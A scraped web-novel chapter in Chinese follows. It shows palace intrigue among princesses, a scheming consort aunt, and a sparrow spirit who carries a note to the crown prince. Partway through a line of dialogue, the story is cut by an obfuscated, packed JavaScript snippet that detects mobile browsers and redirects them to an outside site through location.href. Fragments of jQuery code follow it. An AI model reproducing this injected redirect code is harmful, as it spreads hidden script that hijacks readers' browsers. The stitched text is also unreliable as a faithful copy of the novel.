默认冷灰
24号文字
方正启体

49. 找他

作者:你比脂肪更膨胀本书字数:K更新时间:
    长定宫


    霍寒漪靠在床头,面容憔悴,时不时低声咳嗽:“繁灯,什么时辰了?”


    繁灯边吹边搅手中的汤药,对着霍寒漪道:“食时的样子,公主先把药喝了,可有想吃的?奴婢让人去做。”


    霍寒漪摇摇头,避开了她递过来的汤匙:“母妃那边可让人去看过?絮因畔凄冷,母妃身体不好怕是受不住。”


    “已让人送去了防寒的物事,驱寒的药材也送去了些。”


    见霍寒漪不愿喝药,繁灯有些着急:“娘娘在絮因畔有桐君姑姑照顾,定会无碍的,公主莫要这样惩罚自己。若是公主病倒了,娘娘怎能放心?”


    霍寒漪被说中了心事,眼尾再次渗出些泪。母妃怕是早已失望了,还会在意自己吗?


    繁灯正欲再劝时,有小宫女进来禀告说是南修仪来了。


    南姝进来时看到繁灯端着药碗站在一边,便知晓霍寒漪不愿吃药。她松开霍元修的手坐在了床边,心疼道:“身体可好些了?”


    霍寒漪扑进了南姝怀里,小声抽泣。南姝缓缓拍着她的背,待怀中人稍微平静些才开口道:“姨母在,别怕。”


    一旁的霍元修拉着霍寒漪的手,黑溜溜的眼睛转了转道:“表姐不怕,元修也在。姨母不管你元修管你。”


    南姝嗔怪地看了眼霍元修,又对着霍寒漪柔声道:“寒漪你别理他,他还小,话说不明白。”


    “我知晓的。”霍寒漪点头,祈求地看着南姝,“母妃体质受不得寒,在那絮因畔不知得受些什么苦。求姨母跟父皇求情。”


    南姝拂去了霍寒漪耳边的碎发,连连安慰道:“我自然是要为姐姐奔走的,你且放心。只是你若病倒,让你父皇知晓,还道你心生怨恨呢,是不是?”


    南姝说着接过了繁灯手上的汤药,用手背试了下温度:“听姨母的,先把身体养好。”


    霍寒漪这才就着南姝的手把药喝光,南姝拿出帕子替她擦了擦嘴边的药渍,叹了口气道:“你父皇的性子你也知道,便是拼着惹怒他,我也要为姐姐说话的。只是,你得告诉我,姐姐是如何惹怒皇上的。”


    霍寒漪闻言有些犹豫。


    南姝见她不说话,又将霍寒漪披着的衣服拢紧些,温声道:“若不知晓过程,我又如何劝得动皇上呢?你怕是不知,皇上最近忧心庆丰虫灾之事,不少大臣都不敢触他的霉头。”


    这话说完,怀里的侄女还是没开口。南姝面色温柔地看向了霍元修。


    霍元修捧着霍寒漪的手,好奇道:“表姐,絮因畔是何处?姨母在那处会很痛苦吗?”


    霍寒漪僵住,唇畔几次微动终是没有开口。


    “难道寒漪是不信我?”南姝放开她,神色有些受伤。


    霍寒漪见南姝误会了,急忙开口,拉住正欲起身的南姝:“非是如此,只是……”


    “本以为七皇妹会静心养病,没曾想长定宫竟这般热闹。”


    突然插进来的一句声音令殿内的众人都看了过去。


    霍时月神色淡淡地走过来,瞥了一眼屋内的众人。九皇妹说的有趣就是这个?有趣在何处,她只觉聒噪。


    南姝顿了顿,按下心头的诧异,面上还是带着笑拉住霍元修道:“还不快跟你四皇姐问个好。”


    霍元修跳下床,冲着霍时月小跑过去,好奇地眨着眼睛看她,片刻后软软道:“四皇姐安好。”


    “十一皇弟客气。”


    霍时月未分去眼神,环视周围找了把椅子坐下,对着南姝道:“不必在意我,南修仪想必还有些话要嘱咐,你们自便。”


    这句话一出,屋内众人脸色很是精彩。


    阿筝立在桌案上,聚精会神地看戏。幸而她趁着霍时月出去后,便化作鸟身跟上了,还比霍时月先到,倒是完完整整地看到了亲人情深的这一幕。


    南姝笑得温婉:“本是忧心寒漪的病,来看看她,谈不上嘱咐。四公主也是如此吗?”


    霍寒漪的目光不由得落在了远处的霍时月身上,神色茫然。四皇姐来她这里是破天荒头一回。


    霍时月拨弄着指尖的蔻丹,懒洋洋开了口:“南修仪为何,我便是为何。”


    这话说的有些不客气,不过南姝却未曾恼火,只慈爱地看向霍寒漪打趣道:“寒漪何时与四公主这般要好了?姨母还记得你幼时哭着说再也不理四皇姐了。”


    霍寒漪听后脸上有些热,偷偷觑了一眼霍时月,手也不知要放在何处了:“姨母别取笑我了。”


    霍时月倒是没反应,甚至颇有兴致地品起了茶,闻过茶香,便蹙着眉道这茶一般。


    繁灯见状忙吩咐宫人去换杯新的来。


    一旁的霍元修很是不解:“四皇姐,你是专程来饮茶的吗?元修以为你是关心表姐的病情。”


    “元修!”


    南姝沉了声音:“四公主不与你计较是她宠着你,断不可仗着自己年岁小胡言。”


    霍元修抿抿嘴,小脸垮了下来,朝霍时月一拜:“请四皇姐原谅元修年幼无知。”


    霍时月眼睫微动,唇边极浅地勾了一下,原来有趣是指这个。


    “十一皇弟聪明伶俐,我一见便心生喜欢,又怎会与他计较?说起来倒是有些疑惑,南修仪怎地不让他去国子监进学?”


    南姝笑容不变,摸了摸霍元修的头:四公主说笑,元修还小没到年龄呢。”


    “是吗,可是我见他慧心妙舌,比国子监一些人却是要强些。”


    霍寒漪再迟钝也觉察出殿内的氛围有些不对。她正要开口调和时,南姝走到她身边拍了拍她的手,神色温柔道:“既你有客人,姨母便不打扰你们年轻姑娘说话了。明日再来看你。”


    “四公主与你姐妹情深,往后想必也会常来,莫要惹四公主生气。”


    霍元修也睁大眼睛,认真嘱咐道:“表姐安心养病,元修也会向父皇求情的。”


    南姝又命身后的宫女将带来的锦盒打开:“这是姨母拿来的药参,于修养有利,记得让繁灯熬给你吃”。


    阿筝伸长了脑袋,黑豆眼亮得发光,只恨自己手中没有瓜子。


    霍时月饮了口新换上来的茶,皱眉道:“长定宫是否渗了些潮气,这茶既无香味口感也偏涩,早已失了味道。铃泉你去宫里新取些拿过来。”


    铃泉懵懂点头,火速离去。


    南姝神色不变,施施然起身,又朝着霍时月笑道:“听闻宫里一有新茶,皇上便命人送往昭和宫。四公主尝惯了顶好的,自是不喜欢这里的。”


    “今日便带着元修先回去了,改日再向四公主学些品茶之道。”


    说完便拉着霍元修离开。


    阿筝飞过去跟了几步,直到离开长定宫,南姝也依旧是一副温和含笑的模样,似是一点也不将方才的事放在心上。


    这心性做什么都能成功吧。


    等她飞回去的时候,却发现殿内极其安静。霍时月仍是闲适地品着茶,霍寒漪垂头捏着锦被。


    二人不像姐妹,反而像陌生人。


    还是霍寒漪忍不住了,先小声问了句:“四皇姐今日怎的会来?”


    霍时月放下杯盏,瞧了瞧这个许久不来往的七皇妹。幼年的她与七皇妹很是交好。后来,端妃总是派人来找,时日久了,她与七皇妹便有些生疏了。


    那时她不懂便去问母妃原因,母妃只怔住,良久后才说了句既是这样便依了她。


    思及此处,霍时月淡道:“九皇妹晨间求着我来一趟。”


    繁灯几不可查地顿了下。


    阿筝抖抖脑袋,霍时月这话也是没错,确实是她相求。


    霍时月瞥了眼讶异的七皇妹继续道:“九皇妹本想亲自来,可是太医嘱咐过不可再次受寒。”


    临出门时,九皇妹曾祈求地看着她,让她别告诉七皇妹自己病情加重的事。


    霍时月本也不是多嘴之人,只是……她不知,这二人竟这般要好。霍时月下意识摸了摸指尖,想起了之前那软软的触感。


    霍寒漪听得认真,目光很是温柔。她知晓的,九皇妹担心她。


    那日,九皇妹说会帮她便是这个意思吗?只是,今日之事有些奇怪。姨母对自己向来很好,九皇妹为何要让四皇姐来看自己?


    霍寒漪咬了咬唇,四皇姐脾性与以往很是不同。她不知要与对方说些什么。


    “既你无事,我便回了。”霍时月起身,快走到门口时忽然停住,缓缓道了一句,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073722|158524||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “此之蜜糖,彼之砒霜。”


    这是何解?霍寒漪正欲追问,可对方已推门离去了。


    没去管蹙眉沉思的霍寒漪,见着时日还早,阿筝想了想还是决定再去一趟奉文馆。


    可她到了奉文馆时,才发现馆门早已锁住,馆内是空的。


    阿筝这才想起霍时月说的休沐之事。看来奉文馆也放了假。


    只是,她不是很想去东宫。阿筝撇撇嘴,无意识地伸脚抓了一下树。没想到,这一爪子带下了一块树皮,还正好砸到树下打扫的宫人头上了。


    阿筝:“……”


    虽知晓那宫人看不见自己,但他疑惑抬头的样子令阿筝有些愧疚,只好灰溜溜离开。


    熟门熟路地找到了太子的寝殿,阿筝抓着纸笺落到窗沿上。


    太子似乎不在屋内。


    再次扑空的阿筝有些烦躁,纠结一番后直接飞了进去,找了个软垫卧下。


    霍元恪回来时,刚推开房门便闻到房内出现了一丝很奇特的味道。很浅很淡,若不是自己嗅觉特殊,怕是难以察觉。


    不过,却有些熟悉。


    霍元恪顿了顿,抬步进了屋内。环视一圈,却见到一只瓦雀伏在乌木云龙纹榻上,见到自己回了后,犹犹豫豫地站了起来。


    霍元恪瞥了一眼瓦雀脚下的纸笺,并未出声。


    良久后,瓦雀偏了偏头,黑豆眼泛着着亮光,像是奇怪他为何不进去。


    霍元恪隐去情绪,旁若无人地坐在了书案前。


    阿筝轻哼一声:这人真的很装,见了自己没点反应的。瓦雀成精了,都不怕的吗!


    书案前的人依旧端坐着,神色沉静,下笔如行云流水,也不知是在写些什么。


    阿筝抓起纸笺飞了过去,停在了书架上,特意避开了书案上的纸张。


    她并不想去看霍元恪在做什么,以免他再次小心眼地要杀人。若不是他知晓宋晚遇的情况,阿筝绝不会与之接触,她很记仇。


    脚爪处传来异样,阿筝不得不看过去,霍元恪正欲从她落脚处抽本书出来。


    阿筝沉默,霍元恪面无表情。眼见着要到午膳了,阿筝不想等了,将脚爪上的纸笺摊在对方面前。


    霍元恪垂目看去。


    书案上有两封一样的纸笺,左边写的是:合作,是;右边则是:合作,否。


    霍元恪神色冷淡,加了点力道将阿筝脚下的书抽了出来。这一下令阿筝一个趔趄,差些摔了。


    阿筝小发雷霆,很快又冷静下来。


    在寝殿的霍元恪似乎与在外时很不一样,他连笑都懒得笑了,仿佛是为了省些力气似得只冷着脸。


    阿筝忍了忍,飞到左边那封纸笺上面踩住,见霍元恪仍是没反应又跳了一下再次踩住。


    许是被她烦到,霍元恪终于开了口:“怎么不穿线了。”


    什么线?阿筝正有些疑惑,看到他细长的手指按住了纸笺边角的部分时,才想起来,他是在说自己此前给那三人送信的时。


    他果然知道!真是可恶。


    阿筝赌气,沉默以对,用脚爪将左边那封往前推了推。喏,这样够清楚了吧。


    霍元恪动了,他拿了一只笔将阿筝拨到了一边。


    阿筝:“……”


    次次来都令人不开心,阿筝忍不住冲着他啾啾叫。眼见着对方蹙眉,冷白的手腕微微扬起,阿筝只能住嘴。


    霍元恪终是伸手拿起了左边那张,揭开看了片刻,问道:“这是何物。”


    这人定是又在装傻,阿筝啾一声,找到一幅画,停在上面。


    霍元恪沉默很久:“图腾?”


    阿筝再啾一声。


    霍元恪再次辨别着那张纸,将画着另外半张图腾的画纸抽出来放在了一起,然后往前一推,便又不言语了。


    阿筝顺着他的目光望去,书案上是两半张图腾。只是对比有些明显。她的粗糙,他的细致。她的笔墨结块,他的笔墨流畅。


    阿筝挪开视线,抖抖翅膀直接飞走,忽视了身后若有似无的目光。


    一盏茶过后,瓦雀仍是未归。霍元恪垂眸,拆了右边那张。其中是一张画迹清晰分明的纸笺,与他这半张正好能合上。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)